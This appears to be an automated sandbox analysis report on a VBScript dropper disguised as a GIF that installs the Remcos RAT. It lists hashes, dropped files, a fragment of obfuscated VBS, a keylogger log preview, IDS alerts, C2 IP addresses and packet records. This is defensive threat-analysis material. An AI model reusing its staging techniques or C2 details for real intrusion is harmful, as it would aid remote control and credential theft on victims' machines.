	172200150645e30715396b41ed298fc2fc05d94f3a962536daa72f2c5d72e7d784323a4055802.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	1722001145c8336cb6887f0bbe0b12744f5c43638979603a57a5fc96eb7f34015fb312b4f7920.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	erthings.doc	Get hash	malicious	Remcos	Browse	178.237.33.50
	girlfrnd.doc	Get hash	malicious	Remcos	Browse	178.237.33.50

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	d34e1p5zD2.exe	Get hash	malicious	Unknown	Browse	34.166.62.190 93.113.54.56
	Mu7iyblZk8.exe	Get hash	malicious	Unknown	Browse	34.166.62.190 93.113.54.56
	d34e1p5zD2.exe	Get hash	malicious	Unknown	Browse	34.166.62.190 93.113.54.56
	QIKiV83Pkl.exe	Get hash	malicious	DCRat	Browse	34.166.62.190 93.113.54.56
	Ycj3d5NMhc.exe	Get hash	malicious	Unknown	Browse	34.166.62.190 93.113.54.56
	QUOTATION_JULQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	34.166.62.190 93.113.54.56
	FpiUD4nYpj.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	34.166.62.190 93.113.54.56
	e9ddd60081c3e01d049dc4d5ed5f150afc27ffbbdb8b6adf558fa677ad8875dd_dump.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	34.166.62.190 93.113.54.56
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	34.166.62.190 93.113.54.56
	SecuriteInfo.com.Adware.DownwareNET.4.25474.32231.exe	Get hash	malicious	Unknown	Browse	34.166.62.190 93.113.54.56

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.235702745302682
Encrypted:	false
SSDEEP:	6:kKok99UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ADImsLNkPlE99SNxAhUe/3
MD5:	460E85B3CDA75F2649CD11238AD6D7C0
SHA1:	50467D4CCA96C9122529F1C49F1A4E3486ABBC9C
SHA-256:	B2CFB02200BD2E0DF42C070217E5EEC2DBDF830026462413E25B23F4FBFE06D7
SHA-512:	B19569E1709A9044B5421DC9180470B81A278A74BD62550AD52FD175E586DC20E5B0E4CA01F39F4612DB2682FB11AD09728CFBED8C93B37CE0C559FAE574DA18
Malicious:	false
Preview:	p...... ...........y....(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\json[1].json

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.013811273052389
Encrypted:	false
SSDEEP:	12:tklu+mnd6CsGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkk:qlu+KdRNuKyGX85jvXhNlT3/7AcV9Wro
MD5:	18BC6D34FABB00C1E30D98E8DAEC814A
SHA1:	D21EF72B8421AA7D1F8E8B1DB1323AA93B884C54
SHA-256:	862D5523F77D193121112B15A36F602C4439791D03E24D97EF25F3A6CBE37ED0
SHA-512:	8DF14178B08AD2EDE670572394244B5224C8B070199A4BD851245B88D4EE3D7324FC7864D180DE85221ADFBBCAACB9EE9D2A77B5931D4E878E27334BF8589D71
Malicious:	false
Preview:	{. "geoplugin_request":"8.46.123.33",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.8908305915084105
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9R:9rib4Z1VoGIpN6KQkj2qkjh4iUxsT6YP
MD5:	DD89E182EEC1B964E2EEFE5F8889DCD7
SHA1:	326A3754A1334C32056811411E0C5C96F8BFBBEE
SHA-256:	383ABA2B62EA69A1AA28F0522BCFB0A19F82B15FCC047105B952950FF8B52C63
SHA-512:	B9AFE64D8558860B0CB8BC0FA676008E74F983C4845895E5444DD776A42B584ECE0BB1612D8F97EE631B064F08CF5B2C7622D58A3EF8EF89D199F2ACAEFA8B52
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\Forfrelsens.vbs

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (2168), with CRLF line terminators
Category:	dropped
Size (bytes):	26892
Entropy (8bit):	5.629815532396056
Encrypted:	false
SSDEEP:	768:HzSR022X/523S0e8xPPmp2TkLqur5pjMpc4i:TSuce8xPP2qur5+bi
MD5:	7A6E4C385A470B962384797F26BC0B8A
SHA1:	5D4EEEEF8961F0CA7A83B5BAEB36BB6715D61A11
SHA-256:	B13926E222564A63A3308DE6CB116C226E93CD1E9D1B5F2FCAC2DE6D80E70206
SHA-512:	BA326CBBA71BBFD6054A1F3564FCF4C085ADD37C186170E039E9CF469CDD16B0FD394F028D4D09EA45FAADEEA4CF5F4EDB64F8C5DB58EB67ED93987740D8E453
Malicious:	true
Preview:	Function Hazardless....Call Terminologers183.ShellExecute("P" & Essens, forsaales, "", "", Swizzled221)....End Function ....Spetrevlemundstetiser = String(236,"M") ....Rvertogterne = 61512..Supranaturalistic = &H617B..decreers = -54055..dermophobe = "Arkadens wienervalsenes smirkier fitzwater!"..Milieuvrns = &HFFFFB202..Fribilletternes = &HA946..Misrepresentation = 37891..Centralasiens = 4497..Unhasped = &HF896..Dommerstanden = "Trbeskyttelsen udgangene0, gtevir, afvbnede"..Hastemde = 34426..Fuppen = "Ters247 catholical152? turbomotorerne"..Actiniomorpha = "Kontrabogen netvrksadressernes; topvinklen215 stetikkers"..Slumstormer = &HFFFF6B6A..Solennitetssalen150 = 17979..Torskelevers = &H615D..Topstillingen = "Firspring tabulerer"..redigere = "Undiscerningness sprezzatura overdesirous strikkepindes"..Besttes = &H79DF..macroscopical = &H4D24..Hjlpetekstens = &H7376..Controversialism = "Sambars capitulum unfallen gnomists"..Humbug = 19967..Mongrels = -48175..unhelped = "Fortjningen widdies

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4o10xmxe.1yt.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a0q2jqbg.cem.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b1gnhz00.2xb.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bwbrpynw.bnu.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ukbjthm3.frw.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yt3rntba.rz2.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\bhvCCC4.tmp

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf87da552, page size 32768, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	17301504
Entropy (8bit):	0.8012509433107802
Encrypted:	false
SSDEEP:	6144:adfjZb5aXEY2waXEY24URlMe4APXAP5APzAPwbndOO8pHAP6JnTJnTbnSotnBQ+z:YVS4e81ySaKKjLrONseWe
MD5:	A33BCA794E94AD82EC7A4D8F0D298375
SHA1:	146F504C7787A6A190742E8ED9D5BC87D1BBD0A5
SHA-256:	AE643DAAA0EE4C8FACD93AB5B41075B0626CD28917D0A00D0F3DF2F402C67B7B
SHA-512:	E5D1498DD07D008A19F372D07D97C02632DA69C25F1AE05988AB651869781FDD401E4FDB4CDDCA2C86403B235A33B186AFD15BA2E18FC614629DB20B05046BE3
Malicious:	false
Preview:	.}.R... .......;!......E{ow("...{........................@.....-....{a.,....\|..h.B............................("...{q............................................................................................._...........eJ......n........................................................................................................... ............{...................................................................................................................................................................................................{].....................................,....\|......................,....\|...........................#......h.B.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yrfptuyewdgikkwbbqnxbflydidjpkpem

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Roaming\Snigmyrdede.Sko

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	519984
Entropy (8bit):	5.97310447226679
Encrypted:	false
SSDEEP:	6144:ZhZQKJ7e1+X814RJz1/sEa4Gv9hbtE9XcA4009r0KOD7hXDd+NayYrpqy2RtCPKZ:ZhJecX3jh/PGvrsXcAm0PdDdrEPR1Z
MD5:	047E0275BDD0927F6EFEF87097F21863
SHA1:	4299854E50DA9BF541FA2860DD03B635D7DFBA47
SHA-256:	E0E516EA98D02BC1529767D9C3524B6EC48342AF2C5A704CE976D5F2430DF1C2
SHA-512:	B094D60E78B9FD9C230BF53774BA3853321A37BE02174844B7B6B39B977641438310A14267A26977F4C88DB45E52AE5E6F0F98EBB74D8466E960FD1B958574E3
Malicious:	false
Preview:	2cnYwutE+YdSYLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTprwAAANn/h8nrXvqjJk21tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbUfJd7km9vi60InK4Vpzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs4PZebdwetQhimmGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoPgaMAAAAPcvIpD2Tu60wy73FW9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX1mw9uwWYP/vDrRP8bZXdHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH3eHZ4etYLaRSf25ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubtn0D/7v600+Ib8dCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCrvYWg8A2f/Z/utL832YKDc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3

C:\Users\user\AppData\Roaming\sfvnspt.dat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	184
Entropy (8bit):	3.31406064972631
Encrypted:	false
SSDEEP:	3:rhlKlViNAnfVlfcl5JWRal2Jl+7R0DAlBG4phlKlViNAnfVlfIblovDl6v:6lViN55YcIeeDAlMlViNPbWAv
MD5:	3F818A080E8613AA2804F9D295C8DDED
SHA1:	C5BBE9697CBA2C276A7F4309F31216DBC97F5DF8
SHA-256:	6B1ADF3590ECDA0E2ED6060ED2F79BAF4900D4884CA441B483E688EB7F37371B
SHA-512:	B44FB3DE71399BEBB076845AB4CA375AEE4DC8EF3F69BBCCC21893AD708E4B42EFD8490527EEF5373C8015229BF4D327E631021EBB79D0232F599C5ED7A2A122
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\Users\user\AppData\Roaming\sfvnspt.dat, Author: Joe Security
Preview:	....[.2.0.2.4./.0.7./.2.7. .0.7.:.3.1.:.0.2. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.2.0.2.4./.0.7./.2.7. .0.7.:.3.1.:.0.2. .P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Entropy (8bit):	3.5864483548852926
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	createdthingstobefrankwithmeeverywhere.gIF.vbs
File size:	415'824 bytes
MD5:	4d03b030f4db434da80e0ec3fa7e4398
SHA1:	0b4eed00595be5235f5a51cebeda6fa31402b94b
SHA256:	90afe2e4506b34bd63e597279707d13c6d8512fd52e0b670c9e45890211c76b6
SHA512:	7ec4df4e21931e9091e77d9a23c7d81de11b89c3d0968cd6e8aba8f425cda85b357e4410b3a5a0bb28e80c2ad4999d8c3cc1fba06a2346720f3abad435ce9ebb
SSDEEP:	3072:bHGMwf1YFjhNe4VTdRnTT8w4TW72qjnEgFypBzxjJS7GzYhOJ8XuBYO0zCV2:Xwf1YFB2qjt
TLSH:	64949F5262ED5008B5F33F04AABAA2654A3BFED9DC79C54D458C6A5D0BE3900DC70BB3
File Content Preview:	..d.i.m. .g.a.m.e.l.a.n. .....g.a.m.e.l.a.n. .=. .o.p.s.o.p.h.a.g.i.a.....c.a.b.i.r.t.o.(.".b.i.s.t.o.r.t.a.".). .&. .g.a.m.e.l.a.n. .&. ._.....c.a.b.i.r.t.o.(.".l.a.c.h.a.".). .&. .g.a.m.e.l.a.n. .&. ._.....c.a.b.i.r.t.o.(.".c.a.n.t.o.".). .&. .g.a.m.e.l

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-27T13:31:04.851966+0200	TCP	2032777	ET MALWARE Remcos 3.x Unencrypted Server Response	57484	49706	192.253.251.227	192.168.2.5
2024-07-27T13:31:01.367604+0200	TCP	2049038	ET MALWARE Malicious Base64 Encoded Payload In Image	80	49704	198.46.176.133	192.168.2.5
2024-07-27T13:31:03.293177+0200	TCP	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	49706	57484	192.168.2.5	192.253.251.227
2024-07-27T13:31:24.727754+0200	TCP	2012510	ET SHELLCODE UTF-8/16 Encoded Shellcode	443	49719	93.113.54.56	192.168.2.5
2024-07-27T13:31:02.365590+0200	TCP	2020424	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1	80	49705	104.168.45.34	192.168.2.5
2024-07-27T13:31:24.608086+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49719	443	192.168.2.5	93.113.54.56
2024-07-27T13:33:08.503059+0200	TCP	2032777	ET MALWARE Remcos 3.x Unencrypted Server Response	57484	49706	192.253.251.227	192.168.2.5
2024-07-27T13:31:16.345911+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49712	20.114.59.183	192.168.2.5
2024-07-27T13:31:54.656391+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49721	20.114.59.183	192.168.2.5
2024-07-27T13:31:17.499992+0200	TCP	2012510	ET SHELLCODE UTF-8/16 Encoded Shellcode	443	49711	93.113.54.56	192.168.2.5
2024-07-27T13:31:06.094770+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49709	80	192.168.2.5	178.237.33.50
2024-07-27T13:31:00.255775+0200	TCP	2047750	ET MALWARE Base64 Encoded MZ In Image	80	49704	198.46.176.133	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2024 13:30:59.252525091 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:30:59.260329008 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.260461092 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:30:59.260989904 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:30:59.267025948 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.798891068 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.798913002 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.798928022 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.798964977 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.798969984 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:30:59.799035072 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:30:59.799156904 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.799171925 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.799185991 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.799213886 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:30:59.799300909 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.799315929 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.799330950 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.799346924 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:30:59.799381971 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:30:59.803849936 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.803867102 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.803929090 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:30:59.889029026 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.889087915 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.889103889 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.889136076 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:30:59.889202118 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.889219999 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.889249086 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:30:59.889451027 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:30:59.889496088 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:30:59.889497042 CEST	80	49704	198.46.176.133	192.168.2.5
